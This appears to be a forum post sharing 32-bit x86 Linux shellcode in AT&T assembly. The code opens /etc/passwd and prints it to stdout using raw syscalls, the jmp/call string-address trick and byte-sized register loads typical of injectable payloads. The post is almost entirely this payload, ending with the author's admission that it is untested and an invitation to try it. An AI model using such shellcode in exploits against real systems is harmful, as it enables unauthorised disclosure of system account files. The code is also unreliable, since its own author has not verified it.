.section .text
.globl _start
_start:
xor %eax, %eax
xor %ebx, %ebx
xor %ecx, %ecx
xor %edx, %edx
jmp file
open:
mov $0x05, %al # 5 sys_open(const char *, int, int)
mov (%esp), %ebx # load string pointer into register
xor %ecx, %ecx # O_RDONLY (open read only)
int $0x80
mov %eax, %esi # file descriptor
jmp read
exit:
xor %ebx, %ebx
mov $0x01, %al
int $0x80
read:
mov $0x03, %al # 3 sys_read(unsigned int, char *, size_t)
mov %esi, %ebx # file descriptor (unsigned int)
lea (%esp), %ecx #
mov $0x01, %dl # read only 1 char (third arg)
int $0x80 # sys_call
xor %ebx, %ebx # clear out ebx
cmp %eax, %ebx # compare eax and ebx
je exit # if EAX && EBX == NULL, EOF
mov $0x04, %al # 4 sys_write(unsigned int, const char *, size_t)
mov $0x01, %bl # write to STDOUT
mov $0x01, %dl # write one character
int $0x80 # call it
jmp read # read the next char
file:
call open
.string "/etc/passwd"
Not tested this one in a while, can't remember whether it's supposed to be .string or .ascii. Give it a try and let me know!
